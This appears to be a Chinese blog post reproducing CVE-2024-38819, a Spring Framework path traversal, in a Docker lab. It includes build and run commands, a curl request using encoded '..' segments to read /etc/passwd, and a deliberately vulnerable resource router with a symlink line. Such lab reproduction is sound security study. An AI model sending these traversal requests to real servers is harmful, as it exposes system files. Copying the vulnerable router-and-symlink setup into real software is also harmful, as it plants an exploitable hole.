当前位置: 首页 > news >正文

CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现

操作:

根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境

拿到环境的源码使用docker搭建

cd vuln

创建容器并启动

docker build -t cve-2024-38819-poc . docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像

使用命令来验证是否存在漏洞

curl http://localhost:8080/static/link/%2e%2e/etc/passwd

请求成功返回了/etc/passwd文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如/etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。

解析:
  1. 设置静态资源路由:创建PathTraversalDemoApplication.java文件,使用RouterFunctionFileSystemResource设置静态文件路由

    public RouterFunction<ServerResponse> staticResourceRouter() { return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); }

    这段代码创建了一个静态文件资源的路由。当用户访问/static/**路径时,系统会从/app/static/目录中提供文件。

  2. 创建符号链接

    RUN ln -s /static /app/static/link

    在 Dockerfile 中,ln -s命令创建了一个符号链接/static,指向/app/static/link。这意味着攻击者可以通过访问/static/link来尝试获取指向其他系统路径的文件。

  3. 利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:

    /static/link/%2e%2e/etc/passwd

    其中,%2e%2e%2e编码的..,代表父目录。攻击者通过这种方式尝试从/app/static/目录“跳出”并访问系统的其他目录(如/etc/passwd),从而获取系统敏感信息。

http://www.jsqmd.com/news/211925/

相关文章:

  • 基于Python爬虫的网络小说热度分析django-计算机毕业设计源码+LW文档
  • 2026年最新爆火!7款AI论文写作神器限时实测,一键生成文献综述与真实交叉引用
  • com.microsoft.sqlserversqljdbc4jar4.0 was not found产生原因及解决步骤
  • docker安装redis
  • com.mysql.cj.jdbc.exceptions.CommunicationsException Communications link failure 问题解决
  • 【NLP】Hugging Face使用指南
  • atl110.dll文件丢失找不到 打不开问题 免费下载方法分享
  • Git合并时忽略文件的6种技巧
  • 在 Ubuntu 下载 Typora
  • RK3588+kylin V10安装docker
  • python---正则表达式
  • ATL80.dll文件丢失找不到 打不开问题 免费下载方法分享
  • 最新爆火6款免费AI论文神器!PaperTan一站式搞定选题降重
  • Linux 命令行实战训练营(
  • 超强在线图片处理器:支持各种格式转换GIF/AVIF/HEIF
  • VisionPro二开之九点标定
  • Design Fluid Viscous Dampers in SAP2000 and Peform3D
  • 2026新测!这几款款亲测有效的降ai率工具推荐,含手把手教你论文降ai,查重率从红变绿只需几分钟!
  • VisionPro之九点标定
  • 全网最全ai降ai方法:亲测能有效降低ai痕迹,论文降aigc从此不求人,导师看了都说好!
  • 程序媛失业第七天
  • 基于Python+Django的社区服务管理系统设计与实现
  • CES 2026最酷笔记本电脑:可拆卸设计成为新趋势
  • 终极降AI指南!这款能让你相见恨晚的论文降aigc神器,实测降ai效果立竿见影
  • 【AI】各类型开源模型排行
  • 论文jiangAI干货!4款aigc免费降重工具,亲测降低ai率的同时保留原意,让你的文章更有“人味”
  • 吐血推荐9个AI论文网站,专科生毕业论文轻松搞定!
  • 还在为AI率爆表发愁吗?这几款降ai率工具推荐,实测免费降低ai率只需三步,建议反复观看!
  • 30岁大厂java程序媛被裁第2个月零10天
  • VisionPro之Blob模块